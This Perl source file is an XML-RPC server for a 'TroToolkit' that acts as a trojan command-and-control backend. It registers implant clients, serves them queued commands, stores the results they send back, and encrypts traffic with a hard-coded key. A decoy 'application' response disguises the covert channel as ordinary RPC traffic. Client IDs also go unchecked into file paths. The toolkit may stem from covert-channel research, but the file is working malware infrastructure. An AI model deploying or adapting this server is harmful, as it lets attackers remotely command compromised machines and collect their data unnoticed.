#!/usr/local/bin/perl
#
# An XML-RPC server for TroToolkit
#
# Copyright (C) 2005 Alexandre Dulaunoy <adulau@foo.be>
#
# This program is  free software; you can redistribute  it and/or modify
# it under the  terms of the GNU General Public  License as published by
# the Free Software Foundation; either  version 2 of the License, or (at
# your option) any later version.
#
# This program  is distributed in the  hope that it will  be useful, but
# WITHOUT   ANY  WARRANTY;   without  even   the  implied   warranty  of
# MERCHANTABILITY  or FITNESS  FOR A  PARTICULAR PURPOSE.   See  the GNU
# General Public License for more details.
#
# You  should have received  a copy  of the  GNU General  Public License
# along  with  this  program;  if   not,  write  to  the  Free  Software
# Foundation, Inc., 59 Temple Place  - Suite 330, Boston, MA 02111-1307,
# USA.
#

use strict;
use RPC::XML::Server;
use POSIX;
use Crypt::Mimetic;
use Digest::SHA1;
use String::Random;
use MIME::Base64;

my $VERSION = "0.0.1";
my $PSK = "asamplekey";
my $ENCTYPE = "TEA";
my $WORKDIR = "../var/";
$| = 1;

my $method_TrojanEcho = RPC::XML::Procedure->new (
  {
    name => 'TroToolkit.TrojanEcho',
    code => \&TrojanEcho,
    signature => ['string string']
  }
);

my $method_TrojanRequest = RPC::XML::Procedure->new (
  {
    name => 'TroToolkit.TrojanRequest',
    code => \&TrojanRequest,
    signature => ['string string']
  }
);


my $srv = RPC::XML::Server->new(
  host => '193.168.96.72',
  port => '8080'
);

$srv->add_method($method_TrojanEcho);
$srv->add_method($method_TrojanRequest);

$srv->server_loop;

sub TrojanEcho {
  my $data = shift;
  return $data;
}

sub TrojanRequest {
  my $data = shift;
  #print $data;
  my $decData = decryptData ($data);
  my $retDat = dispatchCommand ($decData);
  #print $decData;
  return encryptData($retDat);
}

sub encryptData {
  my $data = shift;
  my $enc;
  my @info;
  ($enc,@info) = Crypt::Mimetic::EncryptString($data,$ENCTYPE,$PSK);
  return $enc;
}

sub decryptData {
  my $dec;
  my @info;
  my $data = shift;
  ($dec,@info) = Crypt::Mimetic::DecryptString($data,$ENCTYPE,$PSK);
  return $dec;
}

sub dispatchCommand {
  my $data = shift ;
  my ($AppData, $TrojData) = split (/;/, $data);
  print "Application Part :".$AppData."\n";
  print "Trojan Part :".$TrojData."\n";
  my $AppRet = decodeAppCommand($AppData);
  my $TrojRet = decodeTrojCommand($TrojData);
  my $AppandTrojData = $AppRet.";".$TrojRet;
  return $AppandTrojData;
}

sub decodeTrojCommand {

  my $data = shift;
  if ($data =~ /hello/) {
    if (!(-e $WORKDIR."/trojan/")) {
      mkdir ($WORKDIR."/trojan/");
    }

    my @val = split(/\s+/, $data);
    my $randval;

    if ($val[1] eq "") {
       my $RandString = new String::Random;
       my $randp      = $RandString->randpattern("ccccccccccccccccc");
       my $drandp     = Digest::SHA1::sha1_hex($randp);
       # WELCOME means it's a new client
       if (!(-e $WORKDIR."/trojan/".$drandp)) {
	 mkdir ($WORKDIR."/trojan/".$drandp);
       }
       return "WELCOME ".$drandp;
     } else {
       # HELLO means it's a known or should be a known client
       if (-e $WORKDIR."/trojan/".$val[1]."/command") {
	 my $CommandPath = $WORKDIR."/trojan/".$val[1]."/command";
	 open (FILEX, "$CommandPath");
	 my $command = <FILEX>;
	 close (FILEX);
	 unlink $CommandPath;
	 return "COMMAND ".$command;
       }
       return "HELLO ".$val[1];
     }

  } elsif ($data =~ /result/) {
    	print "store result\n";
	my @val = split(/\s+/, $data);
#	print $val[1];
	if (-e $WORKDIR."/trojan/".$val[1]) {
		my $ResultPath = $WORKDIR."/trojan/".$val[1]."/result";
		my $datacut = substr ($data,48);
		print "$datacut";
		open (FILEY, ">>$ResultPath");
		print FILEY decode_base64($datacut);
		close (FILEY);
	}
	}
    else {
    print "nothing useable for the trojan side\n";
    return;
  }
}

sub decodeAppCommand {

  my $data = shift;

  if ($data =~ /common/ ) {
    return "RHAT 11.2";
  } else {
    print "nothing useable for application side\n";
    return;
  }
}
